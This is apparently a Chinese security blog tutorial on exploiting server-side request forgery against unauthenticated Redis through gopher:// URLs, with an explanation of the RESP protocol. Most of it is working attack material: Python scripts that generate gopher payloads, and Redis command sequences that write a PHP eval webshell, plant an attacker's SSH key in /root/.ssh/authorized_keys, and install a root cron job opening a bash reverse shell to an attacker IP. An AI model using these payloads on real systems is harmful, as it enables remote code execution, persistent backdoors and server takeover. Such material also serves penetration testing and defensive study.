天天看点

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

文章目录

  • SSRF介绍
  • RESP协议
  • Redis配合gopher协议进行SSRF
    • 概述
    • 利用条件
    • 利用
    • 绝对路径写webshell
      • 构造payload
    • 写ssh公钥
      • 构造payload
    • 利用contrab计划任务反弹shell
      • 构造payload

SSRF介绍

SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统。这里我们要介绍的是关于

redis

中SSRF的利用,如果有什么错误的地方还请师傅们不吝赐教/握拳。

文章中的数据包构造会涉及到redis的RESP协议,所以我们这里先科普一下

RESP协议

Redis

服务器与客户端通过

RESP

(REdis Serialization Protocol)协议通信。

RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。

RESP实际上是一个支持以下数据类型的 序列化 协议:简单字符串,错误,整数,批量字符串和数组。

RESP在Redis中用作请求 - 响应协议的方式如下:

  • 客户端将命令作为

    Bulk Strings

    的RESP数组发送到Redis服务器。
  • 服务器根据命令实现回复一种RESP类型。

在RESP中,某些数据的类型取决于第一个字节:

对于

Simple Strings

,回复的第一个字节是

+

对于

error

,回复的第一个字节是

-

对于

Integer

,回复的第一个字节是:

-

对于

Bulk Strings

,回复的第一个字节是

$

对于

array

,回复的第一个字节是

*

此外,

RESP

能够使用稍后指定的

Bulk Strings

Array

的特殊变体来表示Null值。

在RESP中,协议的不同部分始终以

"\r\n"(CRLF)

结束。

我们用

tcpdump

来抓个包来测试一下

tcpdump port 6379 -w ./Desktop/1.pcap
           

redis客户端中执行如下命令

192.168.163.128:6379> set name test
OK
192.168.163.128:6379> get name
"test"
192.168.163.128:6379>
           

抓到的数据包如下

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

hex转储看一下

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

正如我们前面所说的,客户端向将 命令作为

Bulk Strings

的RESP数组 发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。

我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为[“set”,”name”,”test”]);$4代表字符串的长度,0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

Redis配合gopher协议进行SSRF

概述

Gopher

协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了

Gopher

协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

利用条件

能 未授权 或者能通过 弱口令 认证访问到Redis服务器
           

利用

redis常见的SSRF攻击方式大概有这几种:

  1. 绝对路径写webshell
  2. 写ssh公钥
  3. 写contrab计划任务反弹shell

下面我们逐个实现

绝对路径写webshell

这个方法比较常用,也是用得最多的=。=

构造payload

构造redis命令

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
           

写了一个简单的脚本,转化为redis RESP协议的格式

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload
           

192.168.163.128是redis应用所在的内网ip

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

生成payload后,用curl打一波

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

执行成功,我们看一波shell是否写入成功

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

成功写入

写ssh公钥

如果

/root/.ssh

目录存在,则直接写入

~/.ssh/authorized_keys

如果不存在,则可以利用

crontab

创建该目录

构造payload

构造redis命令

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal [email protected]
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
           

转化为redis RESP协议的格式

PS:将第一个脚本改一下即可

filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal [email protected]\n\n"
path="/root/.ssh/"
           

即:

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal [email protected]\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload
           

生成payload

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

curl打一波

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

我们来查看一波是否成功写入

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

成功写入。尝试连接

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

成功连接

详情:使用ssh公钥实现免密码登录

利用contrab计划任务反弹shell

这个方法只能

Centos

上使用,

Ubuntu

上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件

    /var/spool/cron/crontabs/<username>

    权限必须是600也就是

    -rw-------

    才会执行,否则会报错

    (root) INSECURE MODE (mode 0600 expected)

    ,而Centos的定时任务文件

    /var/spool/cron/<username>

    权限644也能执行
  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

Centos的定时任务文件在

/var/spool/cron/<username>

Ubuntu定时任务文件在

/var/spool/cron/crontabs/<username>

Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

构造payload

构造redis的命令如下:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

// 192.168.163.132为攻击机ip
           

PS:将第一个脚本改一下

reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
           

即:

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(cron.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload
           

生成一波,尝试反弹shell

浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF
浅析Redis中SSRF的利用SSRF介绍RESP协议Redis配合gopher协议进行SSRF

成功反弹shell

参考原文

继续阅读